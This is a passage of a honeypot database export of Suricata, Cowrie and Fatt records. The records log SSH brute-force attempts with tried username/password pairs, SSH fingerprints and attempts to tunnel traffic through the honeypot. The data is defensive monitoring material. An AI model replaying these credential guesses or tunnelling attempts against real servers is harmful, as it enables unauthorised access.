ssh	known attacker	\N
31601	192.168.20.103	109.199.241.180	Suricata	2021-09-20 14:46:23.952861+03	2021-09-20 15:00:02.380718+03	{"_id": "EAYHA3wBvYTbRNuEU0Wg", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 2, "action": "allowed", "category": "Generic Protocol Command Decode", "severity": 3, "signature": "SURICATA IPv4 padding required ", "signature_id": 2200007}, "geoip": {}, "proto": "IGMP", "src_ip": "192.168.20.103", "stream": 0, "dest_ip": "224.0.0.1", "@version": "1", "in_iface": "enp5s0", "timestamp": "2021-09-20T11:46:23.952861Z", "@timestamp": "2021-09-20T11:46:23.952Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": ""}}	1	\N	\N	alert	\N	\N
31602	218.92.0.190	109.199.241.180	Cowrie	2021-09-20 14:46:32.674361+03	2021-09-20 15:00:02.381717+03	{"_id": "MwYHA3wBvYTbRNuEdUUr", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "218.92.0.190", "asn": 4134, "as_org": "Chinanet", "latitude": 32.0617, "location": {"lat": 32.0617, "lon": 118.7778}, "timezone": "Asia/Shanghai", "longitude": 118.7778, "region_code": "JS", "region_name": "Jiangsu", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "218.92.0.190", "eventid": "cowrie.login.failed", "message": "login attempt [root/555] failed", "session": "ba1faa881985", "@version": "1", "password": "555", "username": "root", "timestamp": "2021-09-20T11:46:32.674361Z", "@timestamp": "2021-09-20T11:46:32.674Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	\N
31603	218.92.0.190	109.199.241.180	Cowrie	2021-09-20 14:46:33.945083+03	2021-09-20 15:00:02.383717+03	{"_id": "NAYHA3wBvYTbRNuEfEX8", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "218.92.0.190", "asn": 4134, "as_org": "Chinanet", "latitude": 32.0617, "location": {"lat": 32.0617, "lon": 118.7778}, "timezone": "Asia/Shanghai", "longitude": 118.7778, "region_code": "JS", "region_name": "Jiangsu", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "218.92.0.190", "eventid": "cowrie.login.failed", "message": "login attempt [root/5555] failed", "session": "ba1faa881985", "@version": "1", "password": "5555", "username": "root", "timestamp": "2021-09-20T11:46:33.945083Z", "@timestamp": "2021-09-20T11:46:33.945Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	\N
31604	218.92.0.190	109.199.241.180	Cowrie	2021-09-20 14:46:35.207955+03	2021-09-20 15:00:02.385716+03	{"_id": "NgYHA3wBvYTbRNuEgEXl", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "218.92.0.190", "asn": 4134, "as_org": "Chinanet", "latitude": 32.0617, "location": {"lat": 32.0617, "lon": 118.7778}, "timezone": "Asia/Shanghai", "longitude": 118.7778, "region_code": "JS", "region_name": "Jiangsu", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "218.92.0.190", "eventid": "cowrie.session.closed", "message": "Connection lost after 5 seconds", "session": "ba1faa881985", "@version": "1", "duration": 5.464306116104126, "timestamp": "2021-09-20T11:46:35.207955Z", "@timestamp": "2021-09-20T11:46:35.207Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	\N
31605	119.29.153.168	109.199.241.180	Cowrie	2021-09-20 14:47:02.109346+03	2021-09-20 15:00:02.386718+03	{"_id": "bwYHA3wBvYTbRNuE6kVp", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "119.29.153.168", "asn": 45090, "as_org": "Shenzhen Tencent Computer Systems Company Limited", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "119.29.153.168", "eventid": "cowrie.login.failed", "message": "login attempt [hung/pass1234] failed", "session": "62cece847fe3", "@version": "1", "password": "pass1234", "username": "hung", "timestamp": "2021-09-20T11:47:02.109346Z", "@timestamp": "2021-09-20T11:47:02.109Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	\N
31606	223.241.247.214	109.199.241.180	Suricata	2021-09-20 14:47:03.852314+03	2021-09-20 15:00:02.387718+03	{"_id": "hAYHA3wBvYTbRNuE70Xx", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.6"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "flow": {"start": "2021-09-20T11:47:03.280874+0000", "pkts_toclient": 3, "pkts_toserver": 5, "bytes_toclient": 821, "bytes_toserver": 1336}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 8, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY SSH session in progress on Expected Port", "signature_id": 2001978}, "geoip": {"ip": "223.241.247.214", "asn": 4134, "as_org": "Chinanet", "latitude": 31.8642, "location": {"lat": 31.8642, "lon": 117.2865}, "timezone": "Asia/Shanghai", "longitude": 117.2865, "region_code": "AH", "region_name": "Anhui", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "223.241.247.214", "stream": 0, "dest_ip": "192.168.20.116", "flow_id": 439091497224490, "payload": "AAADzAYUXnL8lNabXiCTaJQTrgBltAAAAShjdXJ2ZTI1NTE5LXNoYTI1NixjdXJ2ZTI1NTE5LXNoYTI1NkBsaWJzc2gub3JnLGVjZGgtc2hhMi1uaXN0cDI1NixlY2RoLXNoYTItbmlzdHAzODQsZWNkaC1zaGEyLW5pc3RwNTIxLGRpZmZpZS1oZWxsbWFuLWdyb3VwMTgtc2hhNTEyLGRpZmZpZS1oZWxsbWFuLWdyb3VwMTYtc2hhNTEyLGRpZmZpZS1oZWxsbWFuLWdyb3VwLWV4Y2hhbmdlLXNoYTI1NixkaWZmaWUtaGVsbG1hbi1ncm91cDE0LXNoYTI1NixkaWZmaWUtaGVsbG1hbi1ncm91cDE0LXNoYTEsZGlmZmllLWhlbGxtYW4tZ3JvdXAxLXNoYTEsZXh0LWluZm8tYwAAAHFzc2gtZWQyNTUxOSxlY2RzYS1zaGEyLW5pc3RwNTIxLGVjZHNhLXNoYTItbmlzdHAzODQsZWNkc2Etc2hhMi1uaXN0cDI1Nixyc2Etc2hhMi01MTIscnNhLXNoYTItMjU2LHNzaC1yc2Esc3NoLWRzcwAAAHhhZXMyNTYtZ2NtQG9wZW5zc2guY29tLGFlczEyOC1nY21Ab3BlbnNzaC5jb20sYWVzMjU2LWN0cixhZXMxOTItY3RyLGFlczEyOC1jdHIsYWVzMjU2LWNiYyxhZXMxOTItY2JjLGFlczEyOC1jYmMsM2Rlcy1jYmMAAAB4YWVzMjU2LWdjbUBvcGVuc3NoLmNvbSxhZXMxMjgtZ2NtQG9wZW5zc2guY29tLGFlczI1Ni1jdHIsYWVzMTkyLWN0cixhZXMxMjgtY3RyLGFlczI1Ni1jYmMsYWVzMTkyLWNiYyxhZXMxMjgtY2JjLDNkZXMtY2JjAAAAe2htYWMtc2hhMi0yNTYtZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMi01MTItZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMS1ldG1Ab3BlbnNzaC5jb20saG1hYy1zaGEyLTI1NixobWFjLXNoYTItNTEyLGhtYWMtc2hhMQAAAHtobWFjLXNoYTItMjU2LWV0bUBvcGVuc3NoLmNvbSxobWFjLXNoYTItNTEyLWV0bUBvcGVuc3NoLmNvbSxobWFjLXNoYTEtZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMi0yNTYsaG1hYy1zaGEyLTUxMixobWFjLXNoYTEAAAAEbm9uZQAAAARub25lAAAAAAAAAAAAAAAAAAAAAAAAAA==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 47336, "app_proto": "ssh", "dest_port": 22, "timestamp": "2021-09-20T11:47:03.852314Z", "@timestamp": "2021-09-20T11:47:03.852Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "......^r....^ .h....e....(curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c...qssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss...xaes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc...xaes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc...{hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1...{hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1....none....none..................."}}	1	\N	\N	alert	known attacker	\N
31607	223.241.247.214	109.199.241.180	Suricata	2021-09-20 14:47:03.852042+03	2021-09-20 15:00:02.389718+03	{"_id": "hgYHA3wBvYTbRNuE70Xy", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.6"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "223.241.247.214", "asn": 4134, "as_org": "Chinanet", "latitude": 31.8642, "location": {"lat": 31.8642, "lon": 117.2865}, "timezone": "Asia/Shanghai", "longitude": 117.2865, "region_code": "AH", "region_name": "Anhui", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "223.241.247.214", "dest_ip": "192.168.20.116", "flow_id": 439091497224490, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 47336, "dest_port": 22, "timestamp": "2021-09-20T11:47:03.852042Z", "@timestamp": "2021-09-20T11:47:03.852Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	\N
31608	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:47:03.569746+03	2021-09-20 15:00:02.390718+03	{"_id": "iQYHA3wBvYTbRNuE8EXy", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "223.241.247.214", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 47336, "timestamp": "2021-09-20T11:47:03.569746", "@timestamp": "2021-09-20T11:47:03.569Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
31609	223.241.247.214	109.199.241.180	Fatt	2021-09-20 14:47:03.852314+03	2021-09-20 15:00:02.391717+03	{"_id": "hwYHA3wBvYTbRNuE8EXy", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "223.241.247.214", "asn": 4134, "as_org": "Chinanet", "latitude": 31.8642, "location": {"lat": 31.8642, "lon": 117.2865}, "timezone": "Asia/Shanghai", "longitude": 117.2865, "region_code": "AH", "region_name": "Anhui", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "src_ip": "223.241.247.214", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss", "hassh": "f555226df1963d1d3c09daf865abdc9a", "ccacts": "none", "ccastc": "none", "ceacts": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "ceastc": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "client": "SSH-2.0-libssh_0.9.6", "cmacts": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "cmastc": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}, "protocol": "ssh", "src_port": 47336, "dest_port": 22, "timestamp": "2021-09-20T11:47:03.852314", "@timestamp": "2021-09-20T11:47:03.852Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	\N
31610	223.241.247.214	109.199.241.180	Cowrie	2021-09-20 14:47:03.852716+03	2021-09-20 15:00:02.393717+03	{"_id": "iwYHA3wBvYTbRNuE8kU7", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc"], "geoip": {"ip": "223.241.247.214", "asn": 4134, "as_org": "Chinanet", "latitude": 31.8642, "location": {"lat": 31.8642, "lon": 117.2865}, "timezone": "Asia/Shanghai", "longitude": 117.2865, "region_code": "AH", "region_name": "Anhui", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "hassh": "f555226df1963d1d3c09daf865abdc9a", "macCS": ["hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1"], "compCS": ["none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "223.241.247.214", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "ecdh-sha2-nistp256", "ecdh-sha2-nistp384", "ecdh-sha2-nistp521", "diffie-hellman-group18-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group14-sha256", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "rsa-sha2-512", "rsa-sha2-256", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a", "session": "9602dbba5744", "@version": "1", "timestamp": "2021-09-20T11:47:03.852716Z", "@timestamp": "2021-09-20T11:47:03.852Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}}	1	\N	cowrie.client.kex	\N	known attacker	\N
31611	223.241.247.214	109.199.241.180	Cowrie	2021-09-20 14:47:05.098266+03	2021-09-20 15:00:02.394718+03	{"_id": "jgYHA3wBvYTbRNuE9kUk", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "223.241.247.214", "asn": 4134, "as_org": "Chinanet", "latitude": 31.8642, "location": {"lat": 31.8642, "lon": 117.2865}, "timezone": "Asia/Shanghai", "longitude": 117.2865, "region_code": "AH", "region_name": "Anhui", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "223.241.247.214", "eventid": "cowrie.login.failed", "message": "login attempt [postgres/a] failed", "session": "9602dbba5744", "@version": "1", "password": "a", "username": "postgres", "timestamp": "2021-09-20T11:47:05.098266Z", "@timestamp": "2021-09-20T11:47:05.098Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	\N
31612	223.241.247.214	109.199.241.180	Cowrie	2021-09-20 14:47:06.388046+03	2021-09-20 15:00:02.395718+03	{"_id": "kAYHA3wBvYTbRNuE-kUN", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "223.241.247.214", "asn": 4134, "as_org": "Chinanet", "latitude": 31.8642, "location": {"lat": 31.8642, "lon": 117.2865}, "timezone": "Asia/Shanghai", "longitude": 117.2865, "region_code": "AH", "region_name": "Anhui", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "223.241.247.214", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "9602dbba5744", "@version": "1", "duration": 2.8203866481781006, "timestamp": "2021-09-20T11:47:06.388046Z", "@timestamp": "2021-09-20T11:47:06.388Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	\N
31613	5.188.62.196	109.199.241.180	Cowrie	2021-09-20 14:47:03.396361+03	2021-09-20 15:00:02.397718+03	{"_id": "egYHA3wBvYTbRNuE7kWE", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "5.188.62.196", "asn": 44050, "as_org": "Petersburg Internet Network ltd.", "latitude": 55.7386, "location": {"lat": 55.7386, "lon": 37.6068}, "timezone": "Europe/Moscow", "longitude": 37.6068, "country_name": "Russia", "country_code2": "RU", "country_code3": "RU", "continent_code": "EU"}, "sensor": "b63cdd9641b8", "src_ip": "5.188.62.196", "dest_ip": "www.evernote.com", "eventid": "cowrie.direct-tcpip.request", "message": "direct-tcp connection request to www.evernote.com:443 from 0.0.0.0:0", "session": "0a8cfc15853f", "@version": "1", "src_port": 0, "dest_port": 443, "timestamp": "2021-09-20T11:47:03.396361Z", "@timestamp": "2021-09-20T11:47:03.396Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.direct-tcpip.request	\N	\N	\N
31614	81.71.17.12	109.199.241.180	Cowrie	2021-09-20 14:47:03.455664+03	2021-09-20 15:00:02.398718+03	{"_id": "ewYHA3wBvYTbRNuE7kWE", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "81.71.17.12", "asn": 5390, "as_org": "Euronet Communications B.V.", "latitude": 39.9289, "location": {"lat": 39.9289, "lon": 116.3883}, "timezone": "Asia/Shanghai", "longitude": 116.3883, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "81.71.17.12", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 81.71.17.12:35376 (192.168.176.2:22) [session: 4c17859e0a9e]", "session": "4c17859e0a9e", "@version": "1", "protocol": "ssh", "src_port": 35376, "dest_port": 22, "timestamp": "2021-09-20T11:47:03.455664Z", "@timestamp": "2021-09-20T11:47:03.455Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	\N
31615	223.241.247.214	109.199.241.180	Cowrie	2021-09-20 14:47:03.565852+03	2021-09-20 15:00:02.399718+03	{"_id": "fAYHA3wBvYTbRNuE7kWE", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "223.241.247.214", "asn": 4134, "as_org": "Chinanet", "latitude": 31.8642, "location": {"lat": 31.8642, "lon": 117.2865}, "timezone": "Asia/Shanghai", "longitude": 117.2865, "region_code": "AH", "region_name": "Anhui", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "223.241.247.214", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 223.241.247.214:47336 (192.168.176.2:22) [session: 9602dbba5744]", "session": "9602dbba5744", "@version": "1", "protocol": "ssh", "src_port": 47336, "dest_port": 22, "timestamp": "2021-09-20T11:47:03.565852Z", "@timestamp": "2021-09-20T11:47:03.565Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	\N
31616	5.188.62.196	109.199.241.180	Cowrie	2021-09-20 14:47:03.492443+03	2021-09-20 15:00:02.400718+03	{"_id": "fQYHA3wBvYTbRNuE7kWE", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"id": 1, "data": "b\\"\\\\x16\\\\x03\\\\x03\\\\x00\\\\xaf\\\\x01\\\\x00\\\\x00\\\\xab\\\\x03\\\\x03aHt\\\\xb0\\\\tu\\\\x93e\\\\x8b\\\\xc8\\\\n\\\\xe9u\\\\xf2\\\\xc5&@\\\\xd0x\\\\xf8s:\\\\xce\\\\xe4\\\\x8a\\\\x85\\\\xa5\\\\x0e/,\\\\xab$\\\\x00\\\\x004\\\\xc0(\\\\xc0'\\\\xc0\\\\x14\\\\xc0\\\\x13\\\\x00\\\\x9f\\\\x00\\\\x9e\\\\x009\\\\x003\\\\x00\\\\x9d\\\\x00\\\\x9c\\\\x00=\\\\x00<\\\\x005\\\\x00/\\\\xc0,\\\\xc0+\\\\xc0$\\\\xc0#\\\\xc0\\\\n\\\\xc0\\\\t\\\\x00j\\\\x00@\\\\x008\\\\x002\\\\x00\\\\n\\\\x00\\\\x13\\\\x01\\\\x00\\\\x00N\\\\x00\\\\x00\\\\x00\\\\x15\\\\x00\\\\x13\\\\x00\\\\x00\\\\x10www.evernote.com\\\\x00\\\\n\\\\x00\\\\x06\\\\x00\\\\x04\\\\x00\\\\x17\\\\x00\\\\x18\\\\x00\\\\x0b\\\\x00\\\\x02\\\\x01\\\\x00\\\\x00\\\\r\\\\x00\\\\x14\\\\x00\\\\x12\\\\x06\\\\x01\\\\x06\\\\x03\\\\x04\\\\x01\\\\x05\\\\x01\\\\x02\\\\x01\\\\x04\\\\x03\\\\x05\\\\x03\\\\x02\\\\x03\\\\x02\\\\x02\\\\x00#\\\\x00\\\\x00\\\\x00\\\\x17\\\\x00\\\\x00\\\\xff\\\\x01\\\\x00\\\\x01\\\\x00\\"", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "5.188.62.196", "asn": 44050, "as_org": "Petersburg Internet Network ltd.", "latitude": 55.7386, "location": {"lat": 55.7386, "lon": 37.6068}, "timezone": "Europe/Moscow", "longitude": 37.6068, "country_name": "Russia", "country_code2": "RU", "country_code3": "RU", "continent_code": "EU"}, "sensor": "b63cdd9641b8", "src_ip": "5.188.62.196", "dest_ip": "www.evernote.com", "eventid": "cowrie.direct-tcpip.data", "message": "discarded direct-tcp forward request 1 to www.evernote.com:443 with data 